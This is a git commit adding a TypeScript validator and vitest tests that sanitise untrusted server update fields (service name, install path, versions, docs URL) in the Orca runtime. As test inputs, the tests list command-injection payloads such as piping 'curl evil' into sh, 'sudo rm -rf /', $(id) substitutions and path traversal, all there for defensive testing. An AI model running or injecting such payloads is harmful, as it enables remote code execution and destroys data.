feat(runtime): add shared validation for untrusted server updateInfo fields

Co-authored-by: Orca <help@stably.ai>
This commit is contained in:
Jinjing
2026-07-20 11:42:36 -07:00
co-authored by Orca
parent 2fd2e88343
commit 44ef2794f1
2 changed files with 448 additions and 0 deletions
@@ -0,0 +1,279 @@
import { describe, expect, it } from 'vitest'
import type { RuntimeUpdateInfo } from './runtime-types'
import {
DEFAULT_INSTALL_PATH,
DEFAULT_SERVICE_NAME,
validateRuntimeUpdateInfo
} from './runtime-update-info-validation'
// Cast arbitrary garbage to the declared type — a compromised server is not
// bound by TypeScript, so the validator must survive non-string fields too.
const asUpdateInfo = (value: unknown): RuntimeUpdateInfo => value as RuntimeUpdateInfo
describe('validateRuntimeUpdateInfo defaults', () => {
it('yields the documented defaults for wholly-undefined input', () => {
const result = validateRuntimeUpdateInfo(undefined)
expect(result).toEqual({
serviceName: DEFAULT_SERVICE_NAME,
installPath: DEFAULT_INSTALL_PATH,
installKind: 'unknown',
restartKind: 'unknown'
})
})
it('treats null input the same as absent', () => {
expect(validateRuntimeUpdateInfo(null)).toEqual({
serviceName: DEFAULT_SERVICE_NAME,
installPath: DEFAULT_INSTALL_PATH,
installKind: 'unknown',
restartKind: 'unknown'
})
})
it('does not throw on non-string garbage in every field', () => {
const result = validateRuntimeUpdateInfo(
asUpdateInfo({
currentVersion: 42,
latestVersion: {},
updateAvailable: 'yes',
installKind: 123,
restartKind: [],
serviceName: false,
installPath: 0,
hostArch: null,
docsUrl: 99
})
)
expect(result).toEqual({
serviceName: DEFAULT_SERVICE_NAME,
installPath: DEFAULT_INSTALL_PATH,
installKind: 'unknown',
restartKind: 'unknown'
})
})
it('accepts the documented defaults when a server echoes them back', () => {
const result = validateRuntimeUpdateInfo({
serviceName: 'orca-serve.service',
installPath: '/opt/orca/orca-linux.AppImage'
})
expect(result.serviceName).toBe('orca-serve.service')
expect(result.installPath).toBe('/opt/orca/orca-linux.AppImage')
})
})
describe('validateRuntimeUpdateInfo serviceName', () => {
it('accepts orca-prefixed unit names', () => {
expect(validateRuntimeUpdateInfo({ serviceName: 'orca-serve.service' }).serviceName).toBe(
'orca-serve.service'
)
expect(validateRuntimeUpdateInfo({ serviceName: 'orca.service' }).serviceName).toBe(
'orca.service'
)
expect(validateRuntimeUpdateInfo({ serviceName: 'orca@host:1.service' }).serviceName).toBe(
'orca@host:1.service'
)
})
it('rejects non-orca unit names and falls back to the default', () => {
for (const name of ['sshd.service', 'docker.service', 'x.service']) {
expect(validateRuntimeUpdateInfo({ serviceName: name }).serviceName).toBe(
DEFAULT_SERVICE_NAME
)
}
})
it('rejects systemd flag-like names', () => {
for (const name of ['--user.service', '-H.service']) {
expect(validateRuntimeUpdateInfo({ serviceName: name }).serviceName).toBe(
DEFAULT_SERVICE_NAME
)
}
})
it('rejects shell-metacharacter and injection payloads', () => {
const payloads = [
'orca; curl evil.sh | sh.service',
'orca`whoami`.service',
'orca$(id).service',
'orca serve.service',
"orca'.service",
'orca".service',
'orca-serve.service\n',
'orca && reboot.service'
]
for (const name of payloads) {
expect(validateRuntimeUpdateInfo({ serviceName: name }).serviceName).toBe(
DEFAULT_SERVICE_NAME
)
}
})
it('rejects a name missing the .service suffix', () => {
expect(validateRuntimeUpdateInfo({ serviceName: 'orca-serve' }).serviceName).toBe(
DEFAULT_SERVICE_NAME
)
})
})
describe('validateRuntimeUpdateInfo installPath', () => {
it('accepts an absolute AppImage path', () => {
expect(
validateRuntimeUpdateInfo({ installPath: '/home/user/apps/orca-linux.AppImage' }).installPath
).toBe('/home/user/apps/orca-linux.AppImage')
})
it('rejects a non-absolute path', () => {
expect(validateRuntimeUpdateInfo({ installPath: 'orca-linux.AppImage' }).installPath).toBe(
DEFAULT_INSTALL_PATH
)
})
it('rejects a path without the .AppImage suffix', () => {
for (const path of ['/opt/orca/orca-linux', '/opt/orca/orca.deb', '/usr/bin/orca']) {
expect(validateRuntimeUpdateInfo({ installPath: path }).installPath).toBe(
DEFAULT_INSTALL_PATH
)
}
})
it('rejects path traversal and shell-metacharacter payloads', () => {
const payloads = [
'/opt/orca/../../etc/orca-linux.AppImage',
'/opt/orca/$(id).AppImage',
'/opt/orca/`whoami`.AppImage',
'/opt/orca/orca linux.AppImage',
'/opt/orca/orca;rm.AppImage',
"/opt/orca/orca'.AppImage",
'/opt/orca/orca.AppImage\n',
'/opt/orca/orca.AppImage; sudo rm -rf /'
]
for (const path of payloads) {
expect(validateRuntimeUpdateInfo({ installPath: path }).installPath).toBe(
DEFAULT_INSTALL_PATH
)
}
})
it('accepts documented path characters (~ + . _ -)', () => {
const path = '/opt/orca_v2/orca-linux+arm.AppImage'
expect(validateRuntimeUpdateInfo({ installPath: path }).installPath).toBe(path)
})
it('accepts a dotted directory segment that is not a traversal', () => {
const path = '/opt/orca/sub.dir/orca-linux.AppImage'
expect(validateRuntimeUpdateInfo({ installPath: path }).installPath).toBe(path)
})
})
describe('validateRuntimeUpdateInfo versions', () => {
it('accepts semver and prerelease strings', () => {
const result = validateRuntimeUpdateInfo({
currentVersion: '1.2.3',
latestVersion: '1.2.3-beta.1'
})
expect(result.currentVersion).toBe('1.2.3')
expect(result.latestVersion).toBe('1.2.3-beta.1')
})
it('omits versions carrying injection payloads', () => {
const payloads = [
'1.2.3; curl evil | sh',
'1.2.3`id`',
'1.2.3$(reboot)',
'1.2',
'v1.2.3',
'1.2.3\n',
'1.2.3 && rm -rf /'
]
for (const version of payloads) {
const result = validateRuntimeUpdateInfo({
currentVersion: version,
latestVersion: version
})
expect(result.currentVersion).toBeUndefined()
expect(result.latestVersion).toBeUndefined()
}
})
})
describe('validateRuntimeUpdateInfo docsUrl', () => {
it('accepts a path under stablyai/orca', () => {
expect(
validateRuntimeUpdateInfo({ docsUrl: 'https://github.com/stablyai/orca/releases' }).docsUrl
).toBe('https://github.com/stablyai/orca/releases')
expect(validateRuntimeUpdateInfo({ docsUrl: 'https://github.com/stablyai/orca' }).docsUrl).toBe(
'https://github.com/stablyai/orca'
)
})
it('rejects a parsed-pathname traversal to another repo', () => {
expect(
validateRuntimeUpdateInfo({
docsUrl: 'https://github.com/stablyai/orca/../evil'
}).docsUrl
).toBeUndefined()
})
it('rejects sibling repo names sharing the prefix', () => {
expect(
validateRuntimeUpdateInfo({ docsUrl: 'https://github.com/stablyai/orca-foo' }).docsUrl
).toBeUndefined()
})
it('rejects a non-https origin', () => {
expect(
validateRuntimeUpdateInfo({ docsUrl: 'http://github.com/stablyai/orca' }).docsUrl
).toBeUndefined()
})
it('rejects a different host', () => {
expect(
validateRuntimeUpdateInfo({ docsUrl: 'https://evil.com/stablyai/orca' }).docsUrl
).toBeUndefined()
})
it('rejects an unparseable url', () => {
expect(validateRuntimeUpdateInfo({ docsUrl: 'not a url' }).docsUrl).toBeUndefined()
})
})
describe('validateRuntimeUpdateInfo enums and flags', () => {
it('passes through recognized install and restart kinds', () => {
const result = validateRuntimeUpdateInfo({
installKind: 'linux-appimage',
restartKind: 'systemd'
})
expect(result.installKind).toBe('linux-appimage')
expect(result.restartKind).toBe('systemd')
})
it('maps unrecognized enum values to unknown', () => {
const result = validateRuntimeUpdateInfo(
asUpdateInfo({ installKind: 'gentoo-ebuild', restartKind: 'launchd' })
)
expect(result.installKind).toBe('unknown')
expect(result.restartKind).toBe('unknown')
})
it('accepts only x64 and arm64 for hostArch', () => {
expect(validateRuntimeUpdateInfo({ hostArch: 'x64' }).hostArch).toBe('x64')
expect(validateRuntimeUpdateInfo({ hostArch: 'arm64' }).hostArch).toBe('arm64')
})
it('omits garbage hostArch values', () => {
for (const arch of ['x86', 'ia32', 'riscv64', '', 'x64; rm']) {
expect(validateRuntimeUpdateInfo({ hostArch: arch }).hostArch).toBeUndefined()
}
})
it('passes through only a literal boolean updateAvailable', () => {
expect(validateRuntimeUpdateInfo({ updateAvailable: true }).updateAvailable).toBe(true)
expect(validateRuntimeUpdateInfo({ updateAvailable: false }).updateAvailable).toBe(false)
expect(validateRuntimeUpdateInfo({ updateAvailable: null }).updateAvailable).toBeUndefined()
expect(
validateRuntimeUpdateInfo(asUpdateInfo({ updateAvailable: 'true' })).updateAvailable
).toBeUndefined()
})
})
@@ -0,0 +1,169 @@
import type { RuntimeInstallKind, RuntimeRestartKind, RuntimeUpdateInfo } from './runtime-types'
// Why: every field of updateInfo crosses a trust boundary — it comes from a
// possibly-compromised server and some of it is rendered into commands the user
// pastes into a root shell. This module discards anything that fails validation
// and substitutes documented defaults, so the advisor UI can trust its output.
// Dependency-free (no Electron/Node imports; `new URL` exists everywhere) so the
// mobile client can mirror it.
// Why: the template `sudo systemctl restart`s / `sudo mv`s onto these, so a
// rejected server value must fall back to a value the client itself owns.
export const DEFAULT_SERVICE_NAME = 'orca-serve.service'
export const DEFAULT_INSTALL_PATH = '/opt/orca/orca-linux.AppImage'
const INSTALL_KINDS: ReadonlySet<RuntimeInstallKind> = new Set([
'mac-app',
'mac-homebrew',
'windows-installer',
'linux-appimage',
'linux-deb',
'linux-rpm',
'source',
'unknown'
])
const RESTART_KINDS: ReadonlySet<RuntimeRestartKind> = new Set([
'desktop',
'foreground-serve',
'systemd',
'unknown'
])
const RECOGNIZED_ARCHES = ['x64', 'arm64'] as const
type RecognizedArch = (typeof RECOGNIZED_ARCHES)[number]
// Mandatory `orca` prefix: mirrors the systemd cgroup-detection trust rule so a
// compromised server cannot aim the restart at `sshd.service`; the leading
// alphanumeric also means the value can never parse as a `systemctl` flag.
const SERVICE_NAME_PATTERN = /^orca[A-Za-z0-9@:._-]{0,75}\.service$/
// Absolute, no spaces/quotes/shell metacharacters. The `.AppImage` suffix is
// load-bearing: the template `sudo mv`s onto this path.
const INSTALL_PATH_PATTERN = /^[A-Za-z0-9/._~+-]{1,256}$/
const VERSION_PATTERN = /^\d+\.\d+\.\d+(-[A-Za-z0-9.-]{1,40})?$/
// Why: without the `m` flag, `$` also matches just before a trailing newline, so
// `"orca-serve.service\n"` would pass a `…\.service$` test and smuggle a newline
// into a command. Reject any string carrying a line break outright.
const matchesFully = (value: string, pattern: RegExp): boolean =>
!/[\r\n]/.test(value) && pattern.test(value)
const validateServiceName = (value: unknown): string | undefined =>
typeof value === 'string' && matchesFully(value, SERVICE_NAME_PATTERN) ? value : undefined
const validateInstallPath = (value: unknown): string | undefined =>
typeof value === 'string' &&
value.startsWith('/') &&
value.endsWith('.AppImage') &&
// Reject `..` outright: the char class permits it, but a traversal segment
// could steer the template's `sudo mv` above the intended install dir even
// while keeping the load-bearing `.AppImage` suffix.
!value.includes('..') &&
matchesFully(value, INSTALL_PATH_PATTERN)
? value
: undefined
const validateVersion = (value: unknown): string | undefined =>
typeof value === 'string' && matchesFully(value, VERSION_PATTERN) ? value : undefined
// Render only when the origin is github.com and the *parsed* pathname is exactly
// `/stablyai/orca` or a child of it. Parsing defeats `…/orca/../other-repo`
// (which a raw prefix check passes); the trailing slash rules out `orca-foo`.
const validateDocsUrl = (value: unknown): string | undefined => {
if (typeof value !== 'string') {
return undefined
}
let parsed: URL
try {
parsed = new URL(value)
} catch {
return undefined
}
if (parsed.origin !== 'https://github.com') {
return undefined
}
const path = parsed.pathname
if (path === '/stablyai/orca' || path.startsWith('/stablyai/orca/')) {
return value
}
return undefined
}
const validateInstallKind = (value: unknown): RuntimeInstallKind =>
typeof value === 'string' && INSTALL_KINDS.has(value as RuntimeInstallKind)
? (value as RuntimeInstallKind)
: 'unknown'
const validateRestartKind = (value: unknown): RuntimeRestartKind =>
typeof value === 'string' && RESTART_KINDS.has(value as RuntimeRestartKind)
? (value as RuntimeRestartKind)
: 'unknown'
const validateHostArch = (value: unknown): RecognizedArch | undefined =>
RECOGNIZED_ARCHES.includes(value as RecognizedArch) ? (value as RecognizedArch) : undefined
/**
* The advisor-trusted shape derived from untrusted server `updateInfo`.
*
* `serviceName`, `installPath`, `installKind`, and `restartKind` are always
* present — a rejected server value falls back to a documented default (or
* `'unknown'`), because the guide templates need something safe to render.
* Display-only fields are optional: absent means "the server gave us nothing
* valid to show", not "use a default".
*/
export type ValidatedRuntimeUpdateInfo = {
serviceName: string
installPath: string
installKind: RuntimeInstallKind
restartKind: RuntimeRestartKind
currentVersion?: string
latestVersion?: string
updateAvailable?: boolean
hostArch?: RecognizedArch
docsUrl?: string
}
/**
* Validate untrusted server-supplied `updateInfo`. Never throws: a wholly
* absent input (cold-start servers send none) or non-string garbage in any
* field yields the defaults shape with display-only fields omitted.
*/
export const validateRuntimeUpdateInfo = (
updateInfo: RuntimeUpdateInfo | null | undefined
): ValidatedRuntimeUpdateInfo => {
const info = (updateInfo ?? {}) as Record<keyof RuntimeUpdateInfo, unknown>
const validated: ValidatedRuntimeUpdateInfo = {
serviceName: validateServiceName(info.serviceName) ?? DEFAULT_SERVICE_NAME,
installPath: validateInstallPath(info.installPath) ?? DEFAULT_INSTALL_PATH,
installKind: validateInstallKind(info.installKind),
restartKind: validateRestartKind(info.restartKind)
}
const currentVersion = validateVersion(info.currentVersion)
if (currentVersion !== undefined) {
validated.currentVersion = currentVersion
}
const latestVersion = validateVersion(info.latestVersion)
if (latestVersion !== undefined) {
validated.latestVersion = latestVersion
}
// Only a literal boolean passes; null/undefined/garbage → absent.
if (typeof info.updateAvailable === 'boolean') {
validated.updateAvailable = info.updateAvailable
}
const hostArch = validateHostArch(info.hostArch)
if (hostArch !== undefined) {
validated.hostArch = hostArch
}
const docsUrl = validateDocsUrl(info.docsUrl)
if (docsUrl !== undefined) {
validated.docsUrl = docsUrl
}
return validated
}